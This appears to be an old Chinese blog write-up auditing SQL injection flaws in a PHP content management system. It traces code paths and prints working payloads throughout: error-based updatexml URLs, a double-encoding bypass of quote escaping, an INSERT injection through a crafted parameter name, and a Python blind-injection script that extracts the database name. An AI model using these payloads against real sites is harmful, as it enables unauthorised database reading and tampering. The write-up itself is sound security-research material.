PHP5.4.45
进来后先安装
该框架漏洞在cnvd可以找到很多
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php下存在一处sql查询

这里跟进查询
到db.class.php

在封装的selectDB方法下
在这里添加一句echo $sql;

注意闭合符号

url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是

这里封装的p函数
可以看到之类有sql的过滤

同理,在oneDB下加上echo $sql;

这里可以用单引号来闭合,但是会转义
注意到源码

那就来二次编码

可以看到执行成功
SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26'
checkData函数

基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上

这里是个insert语句



setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1
这里看下数据库

我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23

说明第一个字母是l
可以修改下源码的编码方式继续注入
也可以通过Lxxx师傅的脚本
import requests
url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""
for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)

一篇很久之前的文章,如有错误欢迎指出